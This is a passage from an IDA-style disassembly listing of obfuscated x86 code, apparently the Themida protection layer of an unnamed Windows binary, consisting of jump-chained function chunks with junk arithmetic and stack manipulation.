		mov	[esp+34h+var_34], ebp
		jmp	loc_56DD9D
; ---------------------------------------------------------------------------


loc_5608A7:				; CODE XREF: sub_56207C+78E8j
		pop	edi
		not	ecx
		add	ecx, 0A630996Ch
		add	ebp, ecx
		jmp	loc_55E8D5
; ---------------------------------------------------------------------------


loc_5608B7:				; CODE XREF: sub_56207C+104FDj
		add	ebx, ebp
		add	ebx, 5EB578B3h
		push	[esp+30h+var_30]
		jmp	loc_571AA3
; ---------------------------------------------------------------------------


loc_5608C7:				; CODE XREF: sub_56207C+EF8Fj
		mov	edx, [esp+34h+var_34]
		add	esp, 4
		xor	edi, [esp+30h+var_30]
		xor	[esp+30h+var_30], edi
		xor	edi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		shl	[esp+30h+var_30], cl
		pushf
		jmp	loc_56017F
; ---------------------------------------------------------------------------


loc_5608E5:				; CODE XREF: sub_56207C+21DAj
		add	ah, 0FFh
		add	ah, 0ABh
		mov	dl, ah
		jmp	loc_5605E3
; ---------------------------------------------------------------------------


loc_5608F2:				; CODE XREF: sub_56207C+41D5j
		xor	edx, ebp
		pop	ebp
		xor	edx, 5A53547Fh
		add	eax, 0D7F0F7Bh
		add	eax, edx
		sub	eax, 0D7F0F7Bh
		pop	edx
		jmp	loc_560EFA
; ---------------------------------------------------------------------------


loc_56090D:				; CODE XREF: sub_56207C+1CC1j
		xor	ebp, 17DE028Dh
		add	ebp, 0B1926D51h
		mov	edi, ebp
		mov	ebp, [esp+2Ch+var_2C]
		push	esi
		sub	esp, 4
		mov	[esp+34h+var_34], esp
		jmp	loc_564FBD
; ---------------------------------------------------------------------------


loc_56092D:				; CODE XREF: sub_56207C+68F6j
		pop	eax
		push	ebp
		mov	ebp, 95B6475h
		shl	ebp, 5
		neg	ebp
		xor	ebp, 0D4937161h
		add	eax, ebp
		pop	ebp
		push	2054h
		jmp	loc_56714D
; ---------------------------------------------------------------------------


loc_56094C:				; CODE XREF: sub_56207C+402Dj
		mov	ebx, esp
		push	eax
		jmp	loc_56B1A5
; ---------------------------------------------------------------------------


loc_560954:				; CODE XREF: sub_56207C+4Aj
		mov	[esp+38h+var_38], esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_568448
; ---------------------------------------------------------------------------


loc_560967:				; CODE XREF: sub_56207C+5D76j
		push	221Dh
		mov	[esp+3Ch+var_3C], ecx
		mov	ecx, 446E5546h
		add	esi, ecx
		jmp	loc_56C0B0
; ---------------------------------------------------------------------------


loc_56097B:				; CODE XREF: sub_56207C+6596j
		add	edi, ecx
		jmp	loc_56848F
; ---------------------------------------------------------------------------


loc_560982:				; CODE XREF: sub_56207C+FE3Cj
		mov	[esp+3Ch+var_3C], eax
		jmp	loc_56F3D7
; ---------------------------------------------------------------------------


loc_56098A:				; CODE XREF: sub_56207C+10379j
		xchg	ebp, edi
		not	edi
		add	edi, 0D8E45BB6h
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		jmp	loc_5687E4
; ---------------------------------------------------------------------------


loc_5609A1:				; CODE XREF: sub_56207C-2A1j
		push	[esp+44h+var_44]
		pop	edi
		add	esp, 4
		push	0B9Eh
		mov	[esp+44h+var_44], ebp
		mov	ebp, 64AE3743h
		xor	ebp, 64AE3747h
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp+44h+var_44]
		push	3132h
		jmp	loc_57000C
; ---------------------------------------------------------------------------


loc_5609D3:				; CODE XREF: sub_56207C-B1Cj
		mov	bh, cl
		pop	ecx
		add	bh, 37h
		jmp	loc_56BB30
; ---------------------------------------------------------------------------


loc_5609DE:				; CODE XREF: sub_56207C+C86Ej
		not	ebp
		inc	ebp
		not	ebp
		xor	ebp, 7EB6256Ch
		sub	ebp, 187F5CC7h
		push	edx
		mov	edx, 2FF0784Ch
		jmp	loc_56BE4B
; ---------------------------------------------------------------------------


loc_5609FA:				; CODE XREF: sub_56207C+10F2Bj
		pop	ecx
		inc	edi
		push	edx
		mov	edx, 3A7740DEh
		and	edi, edx
		mov	edx, [esp+48h+var_48]
		jmp	loc_56C45B
; ---------------------------------------------------------------------------


loc_560A0C:				; CODE XREF: sub_56207C+E93j
		push	3E187A43h
		pop	ebx
		jmp	loc_561EE7
; ---------------------------------------------------------------------------


loc_560A17:				; CODE XREF: sub_56207C+37ACj
		add	eax, 4
		push	esi
		mov	esi, 57B17AC7h
		xor	esi, 38CF439Ch
		jmp	loc_561DFF
; ---------------------------------------------------------------------------


loc_560A2D:				; CODE XREF: sub_56207C+8FCEj
		pop	edx
		add	esp, 4
		jmp	loc_569F5A
; ---------------------------------------------------------------------------


loc_560A36:				; CODE XREF: sub_56207C+CB21j
		add	ecx, esi
		pop	esi
		jmp	loc_56BBDB
; ---------------------------------------------------------------------------


loc_560A3E:				; CODE XREF: sub_56207C-3350j
		push	3A46h
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, 40h
		and	ecx, ebx
		jmp	loc_5714F9
; ---------------------------------------------------------------------------


loc_560A52:				; CODE XREF: sub_56207C-F4Bj
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp+1Eh+var_20+2]
		pop	esp
		xor	ecx, 43320B43h
		pop	edi
		mov	ebx, ecx
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		add	ebx, edi
		jmp	loc_5646A5
; ---------------------------------------------------------------------------


loc_560A7C:				; CODE XREF: sub_56207C+1254j
		push	501944AAh
		pop	edi
		jmp	loc_570C49
; ---------------------------------------------------------------------------


loc_560A87:				; CODE XREF: sub_56207C+1FC4j
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_56B832
; ---------------------------------------------------------------------------


loc_560A95:				; CODE XREF: sub_56207C+66A1j
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		jmp	loc_560499
; ---------------------------------------------------------------------------


loc_560AA0:				; CODE XREF: sub_56207C+2290j
		or	ecx, 19331A23h
		xor	ecx, 0D35FACE4h
		sub	esi, ecx
		jmp	loc_55FDFF
; ---------------------------------------------------------------------------


loc_560AB3:				; CODE XREF: sub_56207C+F72Cj
		push	esp
		mov	ecx, [esp+12h+var_14+2]
		push	ebx
		jmp	loc_56FD69
; ---------------------------------------------------------------------------


loc_560ABD:				; CODE XREF: sub_56207C-1CBBj
		pop	ax
		push	si
		push	eax
		push	edx
		mov	dx, 0EC5h
		jmp	loc_56F94C
; ---------------------------------------------------------------------------


loc_560ACC:				; CODE XREF: sub_56207C+738Fj
		and	ecx, 7F234D1Ah
		dec	ecx
		or	ecx, 7509460Ch
		jmp	loc_56B8AB
; ---------------------------------------------------------------------------


loc_560ADE:				; CODE XREF: sub_56207C+7FFj
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		sub	edi, 6ABC3F64h
		jmp	loc_5707A2
; ---------------------------------------------------------------------------


loc_560AF2:				; CODE XREF: sub_56207C-AD2j
		pop	ebp
		push	ebx
		mov	ebx, 1DBC7EE1h
		jmp	loc_55EE65
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_560AFE	proc near		; CODE XREF: sub_56207C+6506j

; FUNCTION CHUNK AT 005604CB SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 4
		jmp	loc_5604CB
sub_560AFE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560B09:				; CODE XREF: sub_56207C+A685j
		not	ch
		sub	ch, 0Dh
		sub	dl, 46h
		sub	dl, ch
		add	dl, 46h
		pop	ecx
		pop	eax
		or	dl, 0AFh
		sub	dl, 0F7h
		sub	al, 7Fh
		add	al, dl
		add	al, 7Fh
		push	[esp+0Ch+var_C]
		jmp	loc_560150
; ---------------------------------------------------------------------------


loc_560B2C:				; CODE XREF: sub_56207C+25Ej
		inc	ebx
		push	ecx
		mov	ecx, 2B2B5E5Bh
		jmp	loc_5613F8
; ---------------------------------------------------------------------------


loc_560B38:				; CODE XREF: sub_56207C+77F2j
		mov	[esp+14h+var_14], edx
		push	ebx
		push	552Eh
		jmp	loc_56548A
; ---------------------------------------------------------------------------


loc_560B46:				; CODE XREF: sub_56207C+4BA7j
		add	edx, 7F6839BFh
		sub	edx, 0B5ACF2C1h
		push	ebx
		mov	ebx, 521D1D92h
		add	edi, ebx
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		sub	edi, edx
		sub	edi, 521D1D92h
		pop	edx
		add	edi, ebp
		add	edi, 36BA72C3h
		pop	ebp
		xchg	edi, [esp+14h+var_14]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, ebp
		jmp	loc_572E75
; ---------------------------------------------------------------------------


loc_560B8B:				; CODE XREF: sub_56207C+A386j
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		jmp	loc_5704D9
; ---------------------------------------------------------------------------


loc_560B9A:				; CODE XREF: sub_56207C+4A79j
		add	ebx, 77D24053h
		push	dword ptr [ebx]
		xor	[esp+10h+var_10], 4FB9788Ah
		jmp	loc_56FDF9
; ---------------------------------------------------------------------------


loc_560BAE:				; CODE XREF: sub_56207C+3CB6j
		add	edi, ebp
		push	72BBh
		mov	[esp+14h+var_14], ebp
		mov	ebp, 0F68610Ah
		jmp	loc_5702D4
; ---------------------------------------------------------------------------


loc_560BC2:				; CODE XREF: sub_56207C+3FD8j
		mov	bh, 0CBh
		jmp	loc_572E93
; ---------------------------------------------------------------------------


loc_560BC9:				; CODE XREF: sub_56207C+9353j
		mov	edi, edx
		pop	edx
		xor	edx, edi
		pop	edi
		push	edx
		pop	esi
		pop	edx
		sub	esi, 7D2167C0h
		add	edx, esi
		pop	esi
		jmp	loc_570F15
; ---------------------------------------------------------------------------


loc_560BE0:				; CODE XREF: sub_56207C+10120j
		pop	ebp
		pop	edx
		pop	edx
		jmp	loc_568F06
; ---------------------------------------------------------------------------


loc_560BE8:				; CODE XREF: sub_56207C+10237j
		inc	edi
		sub	esp, 4
		jmp	loc_56948F
; ---------------------------------------------------------------------------


loc_560BF4:				; CODE XREF: sub_56207C+EB4Dj
		xor	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 3CE2757h
		push	eax
		mov	eax, 220500EDh
		or	eax, 541D703Eh
		sub	eax, 4A8002DDh
		xor	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	79D1h
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		jmp	loc_56CB57
; ---------------------------------------------------------------------------


loc_560C42:				; CODE XREF: sub_56207C+6D4Fj
		sub	esi, ebp
		mov	ebp, [esp+8+var_8]
		jmp	loc_567FC5
; ---------------------------------------------------------------------------


loc_560C4C:				; CODE XREF: sub_56207C+E9BDj
		push	[esp+8+var_4]
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_56C133
; ---------------------------------------------------------------------------


loc_560C58:				; CODE XREF: sub_56207C+2E92j
		push	[esp+0Ch+var_C]
		jmp	loc_566274
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_560C60:				; DATA XREF: Themida_:0055E12Co
		pop	dword ptr [edx]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560C67:				; CODE XREF: sub_56207C+BEj
		add	esp, 4
		push	bx
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 5F3F5485h
		xor	ecx, 0A012E2Fh
		xchg	edi, ecx
		not	edi
		jmp	loc_568FA1
; ---------------------------------------------------------------------------


loc_560C87:				; CODE XREF: sub_56207C+8Fj
		add	eax, 96B5FD10h
		jmp	loc_56C59B
; ---------------------------------------------------------------------------


loc_560C91:				; CODE XREF: sub_56207C+89AEj
		xchg	ecx, [esp+16h+var_18+2]
		pop	esp
		push	36A7h
		mov	[esp+16h+var_18+2], eax
		inc	[esp+16h+var_18+2]
		jmp	loc_572DA7
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_560CA5	proc near		; DATA XREF: Themida_:0055E17Co
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_55E3C3
sub_560CA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_560CB5	proc near		; DATA XREF: Themida_:0055E368o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		lodsd
		push	759h
		mov	[esp+4+var_4], ecx
		push	4A27h
		mov	[esp+8+var_8], esi
		push	723558Bh
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		mov	ebp, 619B771Eh
		or	esi, ebp
		jmp	loc_572B4F
sub_560CB5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560CE1:				; CODE XREF: sub_56207C+C8A6j
		sub	edi, 4
		xchg	edi, [esp+16h+var_18+2]
		jmp	loc_5676C8
; ---------------------------------------------------------------------------


loc_560CEC:				; CODE XREF: sub_56207C+EA40j
		add	esp, 4
		jmp	loc_5637DE
; ---------------------------------------------------------------------------


loc_560CF4:				; CODE XREF: sub_56207C-189Aj
		xor	ebp, 7A804505h
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 1617238h
		shr	ebx, 2
		sub	esp, 4
		mov	[esp+24h+var_24], edi
		mov	edi, 147C07E1h
		add	ebx, edi
		mov	edi, [esp+24h+var_24]
		add	esp, 4
		sub	ebx, 14D4646Dh
		push	ebp
		mov	ebp, 4BDC2E60h
		jmp	loc_55FDF0
; ---------------------------------------------------------------------------


loc_560D2A:				; CODE XREF: sub_56207C+11342j
		mov	esi, edi
		pop	edi
		jmp	loc_567A3F
; ---------------------------------------------------------------------------


loc_560D32:				; CODE XREF: sub_56207C-3AE2j
		push	eax
		jmp	loc_56D21B
; ---------------------------------------------------------------------------


loc_560D38:				; CODE XREF: sub_56207C-31Dj
		mov	ah, bh
		jmp	loc_55FB21
; ---------------------------------------------------------------------------


loc_560D3F:				; CODE XREF: sub_56207C+DDD1j
		push	[esp+30h+var_2C]
		pop	ebp
		pop	[esp+30h+var_30]
		jmp	loc_565652
; ---------------------------------------------------------------------------


loc_560D4C:				; CODE XREF: sub_56207C+FCCAj
		mov	ebx, 6A613B9Fh
		shl	ebx, 2
		add	ebx, 71967767h
		jmp	loc_56987C
; ---------------------------------------------------------------------------


loc_560D5F:				; CODE XREF: sub_56207C+87B7j
		sub	edx, 5EAE02B4h
		push	[esp+2Ch+var_2C]
		jmp	loc_56AA85
; ---------------------------------------------------------------------------


loc_560D6D:				; CODE XREF: sub_56207C+E253j
		push	ecx
		mov	ecx, 4
		jmp	loc_565622
; ---------------------------------------------------------------------------


loc_560D78:				; CODE XREF: sub_56207C+AF87j
		sub	ebp, 5E9E6A19h
		sub	ebp, 3A986537h
		shr	ebp, 8
		xor	ebp, 6F7961h
		mov	ecx, ebp
		pop	ebp
		add	ecx, eax
		push	eax
		mov	al, bl
		mov	[ecx], al
		pop	eax
		mov	ecx, [esp+30h+var_30]
		push	edx
		jmp	loc_56769E
; ---------------------------------------------------------------------------


loc_560DA1:				; CODE XREF: sub_56207C+E9C8j
		shl	ebx, 6
		and	ebx, 26086CC3h
		xor	ebx, 57D15DF9h
		jmp	loc_5606B8
; ---------------------------------------------------------------------------


loc_560DB5:				; CODE XREF: sub_56207C+C9C6j
		pop	ebp
		add	edx, esi
		mov	esi, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_5665D7
; ---------------------------------------------------------------------------


loc_560DC3:				; CODE XREF: sub_56207C+594Dj
		pop	ecx
		push	esi
		mov	esi, 56F418BBh
		shr	esi, 5
		push	ecx
		mov	ecx, 1A01169h
		xor	ecx, 3120D56h
		xor	esi, ecx
		pop	ecx
		and	esi, 3BE75B91h
		jmp	loc_55FDB2
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_560DE7	proc near		; CODE XREF: sub_56207C-F2Cj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_5651C4
sub_560DE7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560DF2:				; CODE XREF: sub_56207C+EEEBj
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp+2Ch+var_2C]
		pop	esp
		jmp	loc_56D3CB
; ---------------------------------------------------------------------------


loc_560E04:				; CODE XREF: sub_56207C+9DFDj
		push	ecx
		mov	ecx, 30h
		add	ecx, edx
		xor	[ecx], eax
		pop	ecx
		xor	eax, [edx+30h]
		jmp	loc_5682F3
; ---------------------------------------------------------------------------


loc_560E17:				; CODE XREF: sub_56207C+38D5j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2Ch+var_2C]
		jmp	loc_5631D6
; ---------------------------------------------------------------------------


loc_560E2E:				; CODE XREF: sub_56207C+61C7j
		or	edx, esi
		jmp	loc_565F52
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_560E35	proc near		; CODE XREF: sub_56207C-1AE0j
		push	ebx
		mov	ebx, esp
		jmp	loc_5635E0
sub_560E35	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560E3D:				; CODE XREF: sub_56207C+7F7Fj
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_563BD6
; ---------------------------------------------------------------------------


loc_560E4B:				; CODE XREF: sub_56207C+39DDj
		xchg	eax, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		mov	[esp+2Ch+var_2C], ecx
		mov	ecx, 63D6655Ch
		shr	ecx, 8
		sub	ecx, 73D528E2h
		shl	ecx, 4
		or	ecx, 652464Bh
		sub	esp, 4
		mov	[esp+30h+var_30], edx
		mov	edx, 7CCF40ABh
		shl	edx, 2
		xor	edx, ecx
		jmp	loc_570E40
; ---------------------------------------------------------------------------


loc_560E83:				; CODE XREF: sub_56207C+EF5Dj
		add	esp, 4
		inc	ebx
		push	ecx
		push	0A4822C2h
		pop	ecx
		add	ebx, 7EC37B5Ch
		sub	ebx, 2D130834h
		sub	ebx, ecx
		jmp	loc_56235C
; ---------------------------------------------------------------------------


loc_560EA1:				; CODE XREF: sub_56207C+788Dj
		sub	al, dh
		pop	edx
		jmp	loc_562FF6
; ---------------------------------------------------------------------------


loc_560EA9:				; CODE XREF: sub_56207C+5C6Cj
		add	ecx, edx
		mov	edx, [esp+2Ch+var_2C]
		add	esp, 4
		push	[esp+28h+var_28]
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		add	esp, 4
		push	ebx
		jmp	loc_56269C
; ---------------------------------------------------------------------------


loc_560EC3:				; CODE XREF: sub_56207C-360j
		xchg	eax, esi
		push	ecx
		sub	esp, 4
		mov	[esp+30h+var_30], esi
		pop	ecx
		pop	esi
		push	ebx
		mov	ebx, 5E5D5351h
		sub	ebx, 412E5AB3h
		or	ebx, 61296DD2h
		or	ebx, 588C4868h
		sub	ebx, 5464DD34h
		jmp	loc_5645AD
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_560EF0	proc near		; CODE XREF: sub_56207C+10369j

var_8		= dword	ptr -8

		push	ebx
		push	esp
		push	[esp+8+var_8]
		jmp	loc_565B82
sub_560EF0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560EFA:				; CODE XREF: sub_56207C-1774j
		add	eax, esi
		push	[esp+2Ch+var_2C]
		jmp	loc_56EE6E
; ---------------------------------------------------------------------------


loc_560F04:				; CODE XREF: sub_56207C-5Bj
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		jmp	loc_567547
; ---------------------------------------------------------------------------


loc_560F21:				; CODE XREF: sub_56207C+BEF0j
		push	edx
		push	3B687398h
		pop	edx
		shr	edx, 3
		xor	edx, 194925CBh
		mov	eax, edx
		jmp	loc_562BF9
; ---------------------------------------------------------------------------


loc_560F38:				; CODE XREF: sub_56207C+D93Aj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		jmp	loc_572F15
; ---------------------------------------------------------------------------


loc_560F4C:				; CODE XREF: sub_56207C+16BEj
		sub	esi, 8632299Ah
		sub	edx, esi
		pop	esi
		jmp	loc_55E47E
; ---------------------------------------------------------------------------


loc_560F5A:				; CODE XREF: sub_56207C+6680j
		mov	ecx, 2F1C0FB7h
		jmp	loc_56FE31
; ---------------------------------------------------------------------------


loc_560F64:				; CODE XREF: sub_56207C+AAD6j
		mov	esp, [esp+34h+var_34]
		idiv	ecx
		push	58E8h
		mov	[esp+38h+var_38], edx
		jmp	loc_569D11
; ---------------------------------------------------------------------------


loc_560F76:				; CODE XREF: sub_56207C+17B3j
		sub	ebx, 71286049h
		add	eax, ebx
		pop	ebx
		add	eax, 0D26477B1h
		jmp	loc_55FD35
; ---------------------------------------------------------------------------


loc_560F89:				; CODE XREF: sub_56207C+8330j
		and	edi, 0B23018Fh
		jmp	loc_55F55B
; ---------------------------------------------------------------------------


loc_560F94:				; CODE XREF: sub_56207C+9F4Bj
		xchg	edi, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		jmp	loc_5617B3
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_560F9F:				; DATA XREF: Themida_:0055E160o
		mov	cx, [esp]
		push	0AC3h
		jmp	loc_55E85A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_560FAD:				; CODE XREF: sub_56207C+4DCEj
		mov	[esp+34h+var_34], esp
		add	[esp+34h+var_34], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+30h+var_30]
		xor	[esp+30h+var_30], esi
		xor	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		push	eax
		jmp	loc_56531B
; ---------------------------------------------------------------------------


loc_560FD3:				; CODE XREF: sub_56207C+B2BFj
		xor	edi, ebx
		pop	ebx
		not	edi
		jmp	loc_564D4F
; ---------------------------------------------------------------------------


loc_560FDD:				; CODE XREF: sub_56207C+E04Fj
		add	edi, 4
		push	edi
		push	[esp+34h+var_30]
		pop	edi
		pop	[esp+34h+var_34]
		mov	esp, [esp+30h+var_30]
		push	eax
		mov	eax, 4
		add	edx, 203B77E6h
		add	edx, eax
		sub	edx, 203B77E6h
		mov	eax, [esp+34h+var_34]
		push	ebx
		mov	ebx, esp
		jmp	loc_5644C4
; ---------------------------------------------------------------------------


loc_56100E:				; CODE XREF: sub_56207C+100Bj
		mov	[esp+38h+var_38], esp
		add	[esp+38h+var_38], 4
		mov	edi, [esp+38h+var_38]
		push	edi
		mov	edi, esp
		jmp	loc_56E858
; ---------------------------------------------------------------------------


loc_561023:				; CODE XREF: sub_56207C-3AD5j
		mov	[esp+34h+var_34], edx
		push	edi
		mov	edi, 78022163h
		jmp	loc_56AF6B
; ---------------------------------------------------------------------------


loc_561031:				; CODE XREF: sub_56207C+107A8j
		pop	esp
		mov	[esp+34h+var_34], ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp+34h+var_34]
		jmp	loc_570867
; ---------------------------------------------------------------------------


loc_561044:				; CODE XREF: sub_56207C+A0C6j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_561049:				; CODE XREF: sub_56207C+9396j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56104E:				; CODE XREF: sub_56207C+6806j
		pop	ecx
		jmp	loc_56F09A
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_561054	proc near		; DATA XREF: Themida_:0055E300o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp+0], ax
		pushf
		jmp	loc_55E3C3
sub_561054	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_561064:				; CODE XREF: sub_56207C+10465j
		add	eax, 5F7872A1h
		jmp	loc_57065F
; ---------------------------------------------------------------------------


loc_56106E:				; CODE XREF: sub_56207C+114A9j
		mov	bl, 0Dh
		sub	esp, 4
		jmp	loc_566D3E
; ---------------------------------------------------------------------------


loc_561078:				; CODE XREF: sub_56207C+421Dj
		xor	edx, [esp+34h+var_34]
		jmp	loc_561D79
; ---------------------------------------------------------------------------


loc_561080:				; CODE XREF: sub_56207C+2774j
		push	415Ch
		mov	[esp+38h+var_38], ebx
		jmp	loc_5685E3
; ---------------------------------------------------------------------------


loc_56108D:				; CODE XREF: sub_56207C+D648j
		push	ecx
		mov	ecx, ebx
		mov	edx, ecx
		pop	ecx
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		mov	ecx, [esp+34h+var_34]
		add	esp, 4
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5610A7:				; CODE XREF: sub_56207C+AABBj
		push	0CC7h
		jmp	loc_5645C6
; ---------------------------------------------------------------------------


loc_5610B1:				; CODE XREF: sub_56207C+102AAj
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_55F951
; ---------------------------------------------------------------------------


loc_5610C0:				; CODE XREF: sub_56207C+41ADj
		sub	cl, 0FFh
		or	cl, 15h
		inc	cl
		xor	cl, 0E5h
		xor	al, cl
		mov	cx, word ptr [esp+38h+var_38]
		jmp	loc_56163C
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_5610D6	proc near		; CODE XREF: sub_56207C+A9FBj
		push	ebp
		push	ecx
		mov	ecx, 0F1614FEh
		mov	ebp, ecx
		jmp	loc_563628
sub_5610D6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5610E4:				; CODE XREF: sub_56207C-AABj
		mov	[esp+38h+var_38], edx
		push	1
		pop	edx
		sub	[esp+38h+var_34], edx
		jmp	loc_565315
; ---------------------------------------------------------------------------


loc_5610F6:				; CODE XREF: sub_56207C+9C0Dj
		mov	esi, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_561960
; ---------------------------------------------------------------------------


loc_561101:				; CODE XREF: sub_56207C-1DEFj
		add	ecx, ebp
		push	edx
		push	esi
		mov	esi, 17295E5Ah
		mov	edx, esi
		pop	esi
		add	ecx, edx
		jmp	loc_567CE1
; ---------------------------------------------------------------------------


loc_561114:				; CODE XREF: sub_56207C-2096j
		xor	[esp+34h+var_34], edx
		xor	edx, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		jmp	loc_5721E8
; ---------------------------------------------------------------------------


loc_561122:				; CODE XREF: sub_56207C+7862j
		mov	[esp+34h+var_34], edi
		xor	[esp+34h+var_34], 43320B43h
		push	[esp+34h+var_34]
		pop	ecx
		push	eax
		jmp	loc_560A52
; ---------------------------------------------------------------------------


loc_561136:				; CODE XREF: sub_56207C+1136j
		mov	[esp+38h+var_38], eax
		push	612C0C07h
		jmp	loc_5690ED
; ---------------------------------------------------------------------------


loc_561143:				; CODE XREF: sub_56207C+908Bj
		mov	dh, bl
		pop	ebx
		pop	cx
		xor	al, dh
		push	[esp+36h+var_38+2]
		mov	edx, [esp+3Ah+var_3C+2]
		jmp	sub_560DE7
; ---------------------------------------------------------------------------


loc_561155:				; CODE XREF: sub_56207C+CB6Bj
		neg	edx
		add	edx, 74A810C5h
		add	ecx, edx
		pop	edx
		mov	ebx, [esp+36h+var_38+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_566572
; ---------------------------------------------------------------------------


loc_561174:				; CODE XREF: sub_56207C+8D99j
		pop	ecx
		mov	ecx, [esp+36h+var_38+2]
		push	1CF0h
		mov	[esp+3Ah+var_3C+2], esi
		push	3740h
		push	esp
		pop	[esp+42h+var_44+2]
		jmp	loc_5629CE
; ---------------------------------------------------------------------------


loc_56118E:				; CODE XREF: sub_56207C+4E85j
		mov	edi, offset byte_45624D
		xor	edi, offset byte_456249
		sub	ecx, 30543749h
		add	ecx, edi
		add	ecx, 30543749h
		pop	edi
		add	ecx, 4
		xor	ecx, [esp+3Ah+var_3C+2]
		xor	[esp+3Ah+var_3C+2], ecx
		jmp	loc_55E5AC
; ---------------------------------------------------------------------------


loc_5611B9:				; CODE XREF: sub_56207C-2851j
		add	ecx, 4
		xchg	ecx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		push	eax
		mov	eax, 457A4741h
		push	ebp
		mov	ebp, 1A9C58CFh
		dec	ebp
		jmp	loc_564797
; ---------------------------------------------------------------------------


loc_5611D4:				; CODE XREF: sub_56207C+42Bj
		pop	esi
		jmp	loc_5691BD
; ---------------------------------------------------------------------------


loc_5611DA:				; CODE XREF: sub_56207C+7FBBj
		xchg	esi, [esp+20h+var_20]
		pop	esp
		sub	eax, 0D2B9FEA1h
		add	ebp, 4E7B191Ch
		sub	ebp, 464C7E0Dh
		add	ebp, eax
		push	edi
		push	464C7E0Dh
		jmp	loc_564DFE
; ---------------------------------------------------------------------------


